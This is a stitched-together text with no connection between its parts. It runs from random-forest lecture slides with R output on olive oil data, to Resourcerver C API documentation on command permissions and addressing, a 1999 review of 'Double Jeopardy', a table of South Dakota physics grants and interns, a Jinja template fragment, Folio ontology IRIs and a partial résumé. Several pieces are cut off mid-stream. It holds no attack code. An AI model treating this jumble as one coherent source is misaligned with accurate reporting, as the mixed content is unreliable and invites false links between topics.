- Measure how each pair of observations land in the forest - Run both in- and out-of-bag cases down the tree, and increase proximity value of cases `\(i, j\)` by 1 each time they are in the same terminal node. - Normalize by dividing by `\(B\)`. --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ .split-50[ .column[.content[ ![](images/Italian-olive-oils-map.png) ]] .column[.content[ Olive oils data: Distinguish the region where oils were produced by their fatty acid signature. Quality control. Fraudulent marketing. Areas in the south: 1 North-Apulia
 2 Calabria
 3 South-Apulia
 4 Sicily ]] ] ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ Classifying the olive oils in the south of Italy - difficult classification task.   ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ A single tree  ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ .split-50[ .column[.content[ Training confusion and error ``` ## Reference ## Prediction 1 2 3 4 ## 1 10 0 0 0 ## 2 0 31 0 0 ## 3 1 0 101 1 ## 4 0 1 1 16 ``` ``` ## [1] 0.025 ``` ``` ## Class: 1 Class: 2 ## 0.091 0.031 ``` ``` ## Class: 3 Class: 4 ## 0.0098 0.0588 ``` ]] .column[.content[ Test confusion and error ``` ## Reference ## Prediction 1 2 3 4 ## 1 13 0 0 2 ## 2 0 23 0 2 ## 3 2 1 99 1 ## 4 1 2 4 11 ``` ``` ## [1] 0.093 ``` ``` ## Class: 1 Class: 2 ## 0.19 0.12 ``` ``` ## Class: 3 Class: 4 ## 0.039 0.312 ``` ]] ] ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ ``` ## ## Call: ## randomForest(formula = area ~ ., data = olive_tr, importance = TRUE, proximity = TRUE) ## Type of random forest: classification ## Number of trees: 500 ## No. of variables tried at each split: 2 ## ## OOB estimate of error rate: 7.4% ## Confusion matrix: ## 1 2 3 4 class.error ## 1 9 0 1 0 0.100 ## 2 0 29 2 0 0.065 ## 3 0 1 101 1 0.019 ## 4 1 3 3 11 0.389 ``` ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ .split-50[ .column[.content[ Training confusion and error ``` ## Reference ## Prediction 1 2 3 4 ## 1 10 0 0 0 ## 2 0 31 0 0 ## 3 0 0 103 0 ## 4 0 0 0 18 ``` ``` ## [1] 0 ``` ``` ## Class: 1 Class: 2 ## 0 0 ``` ``` ## Class: 3 Class: 4 ## 0 0 ``` ]] .column[.content[ Test confusion and error ``` ## Reference ## Prediction 1 2 3 4 ## 1 14 0 0 1 ## 2 0 23 0 2 ## 3 0 1 102 0 ## 4 1 2 6 9 ``` ``` ## [1] 0.081 ``` ``` ## Class: 1 Class: 2 ## 0.067 0.115 ``` ``` ## Class: 3 Class: 4 ## 0.056 0.250 ``` ]] ] ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ Diagnostics: variable importance ``` ## 1 2 3 4 ## palmitic 0.2845 0.023 0.015 0.043 ## palmitoleic 0.2637 0.101 0.076 0.185 ## stearic 0.0030 0.079 0.023 0.091 ## oleic 0.3182 0.156 0.086 0.043 ## linoleic 0.2301 0.241 0.119 0.021 ## linolenic -0.0088 0.152 0.023 0.055 ## arachidic 0.0390 0.015 0.003 0.066 ``` ``` ## MeanDecreaseAccuracy MeanDecreaseGini ## palmitic 0.034 8.5 ## palmitoleic 0.102 17.6 ## stearic 0.039 8.4 ## oleic 0.106 20.0 ## linoleic 0.136 19.2 ## linolenic 0.048 7.8 ## arachidic 0.014 5.8 ``` ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example ]] .column[.top50px[ Diagnostics: vote matrix ``` ## 1 2 3 4 ## 1 0.5054 0.0543 0.0380 0.4022 ## 2 0.8977 0.0227 0.0000 0.0795 ## 3 0.6776 0.0109 0.0000 0.3115 ## 4 0.6319 0.0275 0.0000 0.3407 ## 5 0.5657 0.0514 0.0114 0.3714 ## 6 0.8971 0.0147 0.0000 0.0882 ## 7 0.1414 0.2565 0.3141 0.2880 ## 8 0.6914 0.0457 0.0343 0.2286 ## 9 0.5738 0.0055 0.0000 0.4208 ## 10 0.7889 0.0111 0.0000 0.2000 ## 11 0.0057 0.6057 0.3314 0.0571 ## 12 0.0000 0.9848 0.0051 0.0101 ## 13 0.0054 0.9402 0.0000 0.0543 ## 14 0.0000 0.7940 0.0000 0.2060 ## 15 0.0155 0.7047 0.0259 0.2539 ## 16 0.0000 0.9946 0.0000 0.0054 ## 17 0.0000 0.9519 0.0107 0.0374 ## 18 0.0171 0.6743 0.0114 0.2971 ## 19 0.0000 0.8235 0.0963 0.0802 ## 20 0.0000 0.9312 0.0000 0.0688 ``` ]] --- class: split-50 layout: false .column[.pad10px[  ]] .column[.top50px[  ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - .green[Random forests] - Algorithm - Diagnostics - Example - References ]] .column[.top50px[ Cook & Swayne (2007) "Interactive and Dynamic Graphics for Data Analysis: With Examples Using R and GGobi" have several videos illustrating techniques for exploring high-dimensional data in association with trees and forest classifiers: - [Trees video](http://www.ggobi.org/book/chap-class/Trees.mov) - [Forests video](http://www.ggobi.org/book/chap-class/Forests.mov) ]] --- class: split-30 layout: false .column[.pad10px[ ## Outline - Bootstrap aggregation - Random forests - .green[Boosted trees] ]] .column[.top50px[ Boosting iteratively fits multiple trees, sequentially putting .orange[more weight] on observations that have predicted inaccurately. 1. Set `\(\hat{f}(x)=0\)` and `\(r_i=y_i \forall i\)` in training set 2. For b=1, 2, ..., B, repeat:
 a. Fit a tree `\(\hat{f}^b\)` with `\(d\)` splits ( `\(d+1\)` terminal nodes)
 b. Update `\(\hat{f}\)` by adding a shrunken version of the new tree `\(\hat{f}(x) = \hat{f}(x)+\lambda\hat{f}^b(x)\)`.
 c. Update the residuals `\(r_i = r_i - \lambda\hat{f}^b(x_i)\)`
 3. Output boosted model, `\(\hat{f}(x) = \sum_{b=1}^B\lambda\hat{f}^b(x)\)` ]] --- layout: false # 👩💻 Made by a human with a computer ### Slides at [https://monba.dicook.org](https://monba.dicook.org). ### Code and data at [https://github.com/dicook/Business_Analytics](https://github.com/dicook/Business_Analytics).
 ### Created using [R Markdown](https://rmarkdown.rstudio.com) with flair by [**xaringan**](https://github.com/yihui/xaringan), and [**kunoichi** (female ninja) style](https://github.com/emitanaka/ninja-theme).

This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.


You
Full name
{{ label }}
Verified
{{ invitation.organization }}
{{ organization }}
{{ ::organization }}
{{ ::authorization.grantedTo }}


All commands have 3 sets of permissions, plus possible transmission restrictions. All of these restrictions are security related and allow client types to be well defined.
All built-in commands created by clients have a pair of type specifications used to determine if a client can actually create them for sending. The first specification denotes the required type flags the client must have. The second denotes the type flags the client must not have. Together they define a set of client types that can create and send the command.
All plug-in commands have a single type specification used to define the type flags a client must have one or more of to create a command. Plug-in commands don't have a second specification denoting "must not" types as built-in commands do. Unlike built-in command permissions, the client need only have one of the flags required (as opposed to all required, as with built-in commands).
Within the Resourcerver API, creation permissions are generally tied with the specific header that's used to create a command. For example, all commands in <rservr/api/service-client.h> can be created, sent, and parsed by service clients. Most built-in commands are aranged in this manner, but most of the included plug-in commands have individual requirements for each command. See the plug-in table for information about specific plug-in commands.
All commands have type specifications, used in the same manner as command creation specifications, to determine if a client can parse an incoming command. Once the header of the incoming command is received and the command name is known, each client will check its command table to determine if it meets that command’s parsing requirements before parsing the content of the command.
All commands have a single type specification denoting the type flags required to execute the command. This is often more restrictive than the parse permissions to allow other types of client to parse and forward the command without executing it.
Some commands cannot be sent outside of the current Resourcerver system due to the nature of their execution. For example, it makes no sense to send a client registration command or terminal request command outside of the local system because neither will work. These commands are generally sent pseudo-atomically, but some are placed on the command queue with addressing restrictions.
You don't normally need to check names and addresses specifically since all built-in libraries perform checks as appropriate. You can check names and addresses for validity with the functions below to avoid passing bad user input, though.
#include <rservr/api/label-check.h> //perform a validity check on a client, server, or service name or a single address int check_entity_label(text_info); //perform a validity check on a multi-part address int check_address_label(text_info);
Commands are created and are automatically queued by all functions in rservr/api/*.h that have a return type of command_handle. A return of NULL from any of these functions indicates an error; otherwise the command has successfully been queued and can be sent.
Most commands can be remotely-addressed to clients or servers in other Resourcerver systems. Clients can also change the requested priority of all queued commands.
Important: Consider the creation of all queued commands as memory allocation. All queued commands must be deallocated when they're no longer needed. The size of the command queue is always unlimited; therefore, deallocate commands as soon as they're no longer needed.
All commands to be created by the client or received from the server must be listed in the client's local command table. This table is only used internally to verify the client's permissions against each prospective command and to create new command objects when commands are received. All built-in commands are loaded when the client is initialized, so they don't need to be loaded again. When a client loads a command plug-in library, the library registers its commands in the command table so that they can be used.
Use the functions below to find information about loaded commands. This is for informational purposes only and doesn't provide any information about how to create each command. The actual name of a command will not be the same name as the API function used to create it, but it can be used to verify that specific plug-ins are loaded and to give the user a general idea of what's available.
#include <rservr/api/command-table.h>
//use the command's name to see if it's loaded
result check_command_loaded(text_info);
//use the command's name to see if the client can create it with current permissions
result check_command_can_create(text_info);
//retrieve general information about a command using its name
text_info command_information(text_info);
//retrieve a NULL-terminated list of commands matching types and a name regular expression
const command_table_element *get_local_command_table(command_type, text_info);
//use this to free a list retrieved using the above function (don't free independently)
void free_command_table_info(const command_table_element*);
Info: You can't retrieve a list of commands loaded in the server's command table; however, normally the server will have the same built-in commands listed as all clients do by default and no others.
The most important thing to remember when using the command queue is to deallocate queued commands as soon as they're no longer required.  A reference of 0 always means an error when sending from a client. The reference value is trivial when using the function above because the command queue won't retain an updated status of the sent command.
Info: You can send a single command multiple times by repeating the call to the same function.
To retain an updated status of a sent command, send using one of the following functions:
#include <rservr/api/command-queue.h>
//provide the function with the command's handle
command_reference send_command(command_handle);
/* the callback(s) provided below will be called every time the status is updated. a
callback will be removed if it returns non-zero, and the command's status will be
removed if all callbacks are removed (only if callbacks are used.) */
//provide a single callback function in addition
command_reference send_command_callback(command_handle, event_callback);
//provide a NULL-terminated list of callback functions in addition
command_reference send_command_callbacks(command_handle, const event_callback*);
Important: Consider use of the above functions to be allocations of status objects every time they're are called, even if called on the same command_handle multiple times. Once the status of a command is no longer required, ensure you deallocate it (see below.)
Use the clear_command_status function to deallocate the resources required by retaining the status of sent commands. This function should be called once for each reference number provided by a send function other than send_command_no_status. If you send a command using callback(s) and you can be certain that all will return non-zero at least once then you do not need to call clear_command_status. Keep in mind that the callback won't be called unless the server actually receives the sent command. Calling clear_command_status more than once on the same status object has no adverse effect.
#include <rservr/api/command-queue.h> //provide the function with the sent command's reference number result clear_command_status(command_reference);
Clients can check or wait on a particular status of sent commands using the functions below:
#include <rservr/api/command-queue.h> //all of the functions below will return the cumulative status of the command //use the send reference to obtain immediate command status command_event find_command_status(command_reference); //the functions below match any bit of the mask provided but return the entire status //use the send reference, an event mask, and a timeout interval command_event wait_command_event(command_reference, command_event, long_time); //same as above with a callback (0 = continue, -1 = cancel) command_event cancelable_wait_command_event(command_reference, command_event, long_time, int(*)(command_reference, command_event)); /* the callback provided will be called an indefinite number of times at an indefinite interval. the callback will be provided with the current send reference being used as well as the command's cumulative status. */
Info: As a reminder, make sure clients deallocate both queued commands and command status using the appropriate functions. It's perfectly safe to attempt deallocation of the same queued command or command status multiple times, though doing so is "bad form."
Clients can address commands to remote clients or servers using the functions listed here. Commands sent to remote systems must pass through the local server to a forwarder client which is also registered on the local server. That forwarder will then forward the command to the address specified within the command, which will be received by a corresponding forwarder in another system. Addressing therefore requires pairs consisting of a single forwarder name and a single address specification. The address specification format is determined by the forwarder, but it's normally the name of a local socket or of an IP address. See the standard command forwarder documentation for more information about addressing.
A set of forwarder and address pairs is called a "scope." To insert a target scope at the beginning of the existing command's target, use the function below. This added scope will precede all previously-added scopes and will be the first destination of the command once it's sent.
#include <rservr/api/command-queue.h> //provide the command's handle and the scope of the remote target result add_remote_address(command_handle, text_info);
The address used above must consist only of complete forwarder and address pairs. The forwarder and address components are separated by a single "?", as in "client?address". Each pair is separated by a single "|", as in "client1?address1|client2?address2".
Subsequent calls to this function will insert the new scopes before those previously inserted. Inserting scopes in front of those already existing allows server commands (such as service registration commands) to be sent to remote servers. This also has the effect of displacing the initial target client's name, so the target used when creating a command will always be the terminal entity of the command. Clients should therefore use the name of the terminal entity when creating a command, then add address scopes if necessary to reach that target's server.
Addresses are executed in left-to-right order. Using the example address above (assuming the command was created using "target" as its target,) the command will first be sent to client1 on the local server, which will forward the command over its connection address1 to a connected forwarder and subsequently to client2 via that forwarder's server, which will then forward the command over its connection address2 to a connected forwarder, and once in that forwarder's Resourcerver system the command will be sent to "target". Notice that the actual name of the forwarder connected on the opposite end of a connection doesn't matter (and generally isn't available) for the purposes of addressing.
Info: Addresses revealed when filtering IPC won't accurately represent those inserted by the client. The protocol library needs to split and shift the forwarder and address pairs in order to accurately route commands.
Use the function below to insert a single forwarder and address pair at the beginning of the existing address scope of a client:
#include <rservr/api/command-queue.h> //provide the command's handle, the next client's name, and the next address result add_remote_target(command_handle, text_info, text_info);
This inserts the pair in the same manner as the add_remote_address function, but only allows a single pair to be added. The address portion may not contain embedded addressing pairs.
If a client receives a request to perform an action on the requester's server, the client can replace the entire target and address of a command using the function below. This function will erase the entire existing addressing, to include the target, and replace it with a target and scope resulting in the command being executed on the server of the requesting client.
#include <rservr/api/command-queue.h> //provide the command's handle and the sender's name and address result set_target_to_server_of(command_handle, text_info, text_info);
This is meant to be used with server commands using an originator's name and address. This is primarily intended to facilitate the librsvp-rqsrvc.so command plug-in library. The example code below vaguely demonstrates how the function should be used.
#include <rservr/api/client.h> #include <rservr/api/command-queue.h> #include <rservr/api/resource-client.h> #include <rservr/plugins/rsvp-rqsrvc-hook.h> //this is the definition of a plug-in hook function (which is discussed later) command_event __rsvp_rqsrvc_hook_register_services(const struct rqsrvc_source_info *iInfo, text_info tType) { if (!iInfo) return event_rejected; command_handle new_service = register_service(iInfo->target, tType); if (!new_service) return event_error; if ( !set_target_to_server_of(new_service, iInfo->sender, iInfo->address) || !send_command_no_status(new_service) ) { destroy_command(new_service); return event_error; } destroy_command(new_service); return event_complete; }
A side note regarding the hook function defined above: If the function above is defined, the client loads the librsvp-rqsrvc.so command plug-in library, and another client sends a rqsrvc_register_services command to the client, the receiving client should register a service in its own name on the sender's server. The librsvp-rqsrvc-auto.so plug-in library automates this process, however, so that plug-in is a better alternative.
The priority of a command can greatly effect the order in which it's executed by a server. While priority is always limited by the client's current priority restrictions, you can always request an extremely low priority value. Priority values range from 0 to 255, the lower values indicating a higher priority, with a default minimum value of 127. This default value is the absolute minimum allowed by the server unless it's changed within the server's configuration before the client is started. The default value attempted by all commands is 0, so only change the priority if you're willing to place the command behind others.
While it might seem that the actual usefulness of a command's priority is limited to whether or not it's greater than another, that's far from the truth. The server uses an algorithm to determine the order in which to execute commands that involves moving older commands up in the wait list incrementally based both on how long they've been waiting and on their priorities. In other words, if commands with a priority of 127 constantly arrive in the server's queue, a command arriving with a priority higher than that won't be bumped out of the way indefinitely. In that particular case, though, the command would get through a lot faster with a priority of 128 than with one of 255.
Use the function below to change the priority of a command before sending it:
#include <rservr/api/command-queue.h> //provide the command's handle and the new priority result change_command_priority(command_handle, command_priority);
The function above can be used regardless of other restrictions placed on a command. This includes changing the priority of commands to be forwarded outside of the current Resourcerver system. If you're developing a command forwarder, there's no need to set the priority of commands to be forwarded to 0 before sending them.
Info: Commands sharing the same priority are always executed in the order they're received by the server; therefore, you can count on two sequential commands with the same priority being executed in that order.
Responses are a very limited type of client command. They require a message to be received in the message queue from another client, and that message must be visible to the client program at the time the response is created. Use the functions below to create responses. See the message queue section for information about retrieving messages.
You will need to cast messages with RSERVR_RESPOND to use them with the response API. This provides additional run-time protection while allowing things like set_async_response to work.
#include <rservr/api/client.h> /* the commands below are "bypass" commands which allows them to bypass normal response permissions. this allows a client to briefly respond to clients it wouldn't normally be able to respond to. for example, a resource client can respond to an admin client using these responses, provided it received a request from one. */ //respond to a request with an event command_handle short_response(message_handle, command_event); //respond to a request with an event and a message command_handle client_response(message_handle, command_event, text_info); /* because this command is a bypass command, data is limited to the limit set by PARAM_BYPASS_LENGTH_MAX in param.h. this command is only intended for very short responses to indicate the status of a request. data will be truncated if it exceeds this length. */
The responses above create a command in the command queue which must be sent and deallocated. You can't add or change the target or address of a response, but you can change its priority. A response uses the priority of the command it's in response to by default. The simple commands above should only be used for short responses with trivial data.
| © 2008 - Kevin P. Barry | The Resourcerver Project |


Double Jeopardy * * (out of * * * * )
Directed by Bruce Beresford. Cast: Ashley Judd, Tommy Lee Jones, Bruce Greenwood, Annabeth Gish, Roma Maffia. 1999 - 106 minutes Rated R (for violence, profanity, sex, nudity, and blood). Reviewed by Dustin Putman, September 25, 1999.
Have you ever seen a film that could possibly have been successful, but was basically ruined due to an ad campaign that gave away literally every secret the picture has to offer? It's a common occurrence, but never before has a trailer blatantly spoiled a film the way Paramount's ads for "Double Jeopardy" do. If you are able to disregard this almost-fatal flaw, you will find that the film really is a highly servicable thriller, full of fine performances and blessed with brisk pacing that consistently saves the film from ever becoming tedious. While you watch "Double Jeopardy," you enjoy it, but even if the ad campaign hadn't given away every secret, it still would have been rather predictable, and ultimately can't escape its formulaic plotting.
Libby Parsons (Ashley Judd) has it all; a generous, caring relationship with her husband, Nick (Bruce Greenwood); a cheerful 4-year-old son; a love for sailing; and a beautiful, lakeside home in the northeast. While spending the night together on the boat Nick just bought for Libby, she awakens to discover she, as well as the boat, is covered in blood, and her husband is missing. The sea-rescue squad catches her holding the knife she has just found on the deck, and when Nick's body is never recovered, Libby finds herself facing serious time behind bars, and before long, is sentenced to a 9-year prison term. Heartbroken that she has to be separated from her son, who is thus adopted by her best friend, Angela (Annabeth Gish), Libby decides to make the best of her time there, becoming friends with some of her fellow inmates and working out a lot. Then, to her horror, Angela and her son disappear for a month, but she is able to track them down by a telephone operator, where they are now staying in San Francisco. To make a long story short, Libby overhears her son on the phone exclaim, "Daddy!" and all of a sudden, she realizes that she was intentionally framed for the "murder" by her husband himself. A former lawyer and matter-of-fact cellmate (Roma Maffia) explains to Libby about a process called Double Jeopardy, in which a person cannot be convicted of the same crime twice. So if, say, Libby wanted to actually murder him once she's released, she could, and there's nothing anyone could do about it.
 Since then, Travis hasn't been able to lay off the alcohol, but he does catch on rather quickly to Libby's ulterior motives, and attempts to stop her when she escapes from his custody.
You know, I may have given away quite a few of the major plot points, but they were also all discussed in the theatrical trailer. And you know what else? The trailer also had the shameless nerve to unravel even more of the story, right up to the climax in New Orleans, with Libby holding the gun at Nick, only for it to go off. After watching a 2 1/2-minute cliffs notes version of the 106-minute film, one wonders why anyone would even be interested in spending their hard-earned money on something that they already know the outcome of, but judging from the fairly-packed theater last night, it didn't stop any of them.
Beginning with a painfully obvious 15-minute prologue in which the "murder" takes place, I sat back in my seat, expecting to suffer through the remainder of a film that had "Mainstream Hollywood" written all over it. Once Libby is sent to prison, however, "Double Jeopardy" quickly improves, due in large part to Ashley Judd's superb, touching performance, as a woman who, in a moment's time, finds her whole happy existence seriously altered. With an acting career that began with her best-ever work in Victor Nunez's small 1993 masterpiece, "Ruby in Paradise," Judd has followed this up with some disappointing commercial projects (1997's "Kiss the Girls") that have nonetheless helped to buoy her star potential, and has wisely intermixed these with more independent efforts (1997's "The Locusts," 1998's "Simon Birch"). "Double Jeopardy" belongs squarely in the commercial category, but that doesn't keep Judd from creating a believable, strong-willed character that we easily root for.
Tommy Lee Jones, in a role that is nearly a carbon copy of everything he has appeared in in the last six years (save for maybe 1995's "Batman Forever"), manages to pull off a strong performance that is more satisfyingly-written than most of his other recent efforts. While his character, like the film itself, is an utter cliche (the troubled, alcoholic man who finally comes to terms with his past mistakes), Jones sparks it with more life than there might have been had a lesser actor been cast in the part.
It makes you wonder, though. Would I have thought more highly of "Double Jeopardy" if, going into it, I knew nothing about it? There would have definitely been some extra surprises that most likely would have been unpredictable, and I probably would have found the premise more ingenious. Despite this, the film really is needlessly implausible on the basic story level, and the climactic showdown resorts to that reliable struggle scene that ends with a gun going off and killing one of the characters. But which one? I'll give you a hint: there's no way Paramount would have allowed the picture not to have a happy ending in which Libby and her son reunite. With all of the film's virtues and flaws weighed equally, let's just called "Double Jeopardy" a near-recommendation: a well-made thriller, to be sure, but just about as banal as they come.
- Copyright 1999 by Dustin Putman Http://www.atnzone.com
COMING SOON: My personal domain website, at www.filmhaven.com.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


SD – Sen. John Thune (R) and Sen. Mike Rounds (R)
Committees
John Thune is the #2 Republican on the Senate Committee on Commerce, Science, and Transportation
HEP Grants
In the past 9 years, this state has received: 18 HEP grants, totalling $3,705,527
Institution Amount ($)
--------------------------------------------- ------------
South Dakota School of Mines & Technology 2,107,000
South Dakota Science And Technology Authority 1,200,000
University of South Dakota 378,050
Dakota State University 20,477
SC Contracts
This state received no SC contracts from 2012-2020
NSF MPS Grants
In the past 9 years, this state has received: 77 NSF MPS grants, totalling $9,599,133
Institution Amount ($)
----------------------------------------- ------------
University Of South Dakota 3,784,774
South Dakota School Of Mines & Technology 2,308,881
Black Hills State University 1,479,998
South Dakota State University 1,092,209
Augustana College Association 768,271
Sd Sch Of Mines And Technology 110,000
Dakota State University 36,000
Augustana College 19,000
SULI/CCI Interns
From 2014-2018, this state had 13 SULI/CCI interns
# Interns Program College
----------- --------- -------------------------------------------
7 SULI South Dakota School of Mines and Technology
2 SULI Dakota State University
2 SULI South Dakota State University
1 SULI Black Hills State University
1 SULI University of South Dakota
13 — — Back to top
SD-00 – Rep. Dusty Johnson (R) – Wikipedia
HEP Grants
In the past 9 years, this district has received: $3,705,527 in SC HEP grants.
Institution Amount ($) Start End Principal Investigator Project Title
--------------------------------------------- ------------ ------- ----- ------------------------ ---------------------------------------------------------------------------------------------------------------------------------------------------------------
South Dakota School of Mines & Technology 7,000 2019 2020 Strieder, Frank 2019 Conference on Science at the Sanford Underground Research Facility
South Dakota Science And Technology Authority 1,200,000 2019 2020 HEADLEY, MIKE Financial Assistance Application for SURF Operations
University of South Dakota 33,050 2018 2020 Shoemaker, Ian New Physics from the Neutrino Portal: Early Universe Implications and Detection Prospects
University of South Dakota 225,000 2017 2020 Sander, Joel Generation-2 Dark Matter Experiments at The University of South Dakota
Dakota State University 8,477 2016 2017 Szczerbinska, Barbara 2016 Summer Program at Center for Theoretical Underground Physics and Related Areas (CETUP)
University of South Dakota 120,000 2016 2017 Mei, Dongming Generation-2 Dark Matter Experiments at The University of South Dakota
Dakota State University 4,000 2015 2016 Szczerbinska, Barbara Center For Theoretical Underground Physics And Related Fields: Cetup2015/ Particle Physics And Cosmology Conference: Ppc2015
South Dakota School of Mines & Technology 2,100,000 2015 2020 Schnee, Richard Underground Physics at SURF and Beyond
Dakota State University 8,000 2013 2014 Szczerbinska Center for Theoretical Underground Physics & Related Fields & International Conference on Interconnections Between Particle Physics & Cosmology, June/July 2013
SC Contracts
This district received no SC contracts from 2012-2020
NSF MPS Grants
In the past 9 years, this district has received: $9,599,133 in NSF MPS grants.
Year Institution Amount ($)
------ ----------------------------------------- ------------
2019 University Of South Dakota 464,001
2019 South Dakota State University 66,303
2019 South Dakota School Of Mines & Technology 39,000
2019 Black Hills State University 94,891
2019 Augustana College Association 207,261
2018 South Dakota School Of Mines & Technology 882,420
2018 Augustana College Association 110,948
2018 Black Hills State University 95,979
2018 South Dakota State University 31,919
2018 University Of South Dakota 790,050
2017 University Of South Dakota 238,531
2017 South Dakota School Of Mines & Technology 263,700
2017 Black Hills State University 86,031
2017 Augustana College Association 119,006
2016 University Of South Dakota 94,492
2016 Black Hills State University 434,873
2016 Augustana College Association 19,000
2015 University Of South Dakota 602,665
2015 South Dakota State University 384,288
2015 Sd Sch Of Mines And Technology 110,000
2015 Dakota State University 12,000
2015 Augustana College 19,000
2015 South Dakota School Of Mines & Technology 329,942
2014 University Of South Dakota 737,610
2014 South Dakota State University 5,100
2014 Black Hills State University 702,904
2014 Augustana College Association 73,133
2013 University Of South Dakota 297,862
2013 South Dakota School Of Mines & Technology 392,942
2013 Dakota State University 12,000
2013 Augustana College Association 156,312
2012 South Dakota School Of Mines & Technology 400,877
2012 Dakota State University 12,000
2012 Black Hills State University 65,320
2012 South Dakota State University 604,599
2012 University Of South Dakota 559,563
2012 Augustana College Association 82,611
SULI/CCI Interns
From 2014-2018, this district had 13 SULI/CCI interns
Term Name College Host Lab Program
----------- ------------------------- ------------------------------------------- ------------------------------------- ---------
Summer 2018 Carter James Huber South Dakota State University Ames National Laboratory SULI
Summer 2018 Trevor Richard Edwards University of South Dakota Los Alamos National Laboratory SULI
Summer 2017 Madison Rae Jilek Black Hills State University Brookhaven National Laboratory SULI
Summer 2017 William George Trevillyan South Dakota School of Mines and Technology Argonne National Laboratory SULI
Summer 2017 Ethan Grahn Dakota State University Oak Ridge National Laboratory SULI
Summer 2015 Daniel Tronstad South Dakota School of Mines and Technology Argonne National Laboratory SULI
Summer 2015 William Jake Hofer Dakota State University Pacific Northwest National Laboratory SULI
Summer 2015 Hannah Wisser South Dakota School of Mines and Technology Fermi National Accelerator Laboratory SULI
Summer 2014 Scott Daniel Korthals South Dakota State University Argonne National Laboratory SULI
Summer 2014 Travis Glenn Buse South Dakota School of Mines and Technology National Renewable Energy Laboratory SULI
Spring 2017 Joree Nicole Sandin South Dakota School of Mines and Technology Pacific Northwest National Laboratory SULI
Spring 2016 Michael Kelly South Dakota School of Mines and Technology National Renewable Energy Laboratory SULI
Fall 2018 William Carpenter South Dakota School of Mines and Technology Oak Ridge National Laboratory SULI


{% extends "layoutD.html" %} {% block body %}
{{ driver[6] }}
Email: {{ driver[1] }}
Contact Number: {{ driver[2] }}
License Plate Number: {{ driver[3] }}
Car Model & Brand: {{ driver[4] }}
Reward points: {{ driver[5] }}
Find out more about Rewards Points here
{% endfor %} {# {% for Updatedriver in updatedriver %}#}Changed your car? Wanna update your profile? Do it here
{# {% endfor %}#}


IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#Anomaly
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#Category
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#Cause
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#ConfirmedAnomaly
ConfirmedAnomaly’s description. Should then express, at least, which part of the system is affected, by what. Ideally, this should be completed with additional information, such as which components observe the ConfirmedAnomaly, or the worth of its management.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#ConsequenceDomain
Malfunctioning of device or dangerous situation for end user.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#Criticality
non-critic ConfirmedAnomaly
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#DetectionMethod
value > x.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#Effect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#FailureCause
(abnormal) vibration input from another (possibly failed) system.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#FailureEffect
Increased range of input data.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#FailureMode
Too high values.
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#fromObservation
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#IntermediateEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#LocalEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#happenedAt
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasCategory
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasCause
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasCriticality
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasDetection
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasDomain
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasFailureMode
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasLowerFailureEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#hasNextFailureEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#isEndEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#isIntermediateEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#isLocalEffect
IRI: http://IBCNServices.github.io/Folio-Ontology/Folio.owl#observedBy


Employment
Software Engineer
Denver, CO
- Creator of Congrist, an iOS app enabling easier access to real-time information on Congress. Written in Swift using Parse as a backend.
- Founding engineer of Wody, a dispensary discovery website. Launched Oct. 2015. Written using AngularJS and NodeJS.
- Prototyped a location aware dating app, written in Swift.
- Provided an inital mock of a crowdsource marketing website, written in Python using the Django web framework.
Software Engineer
Denver Energy Group, Denver, CO
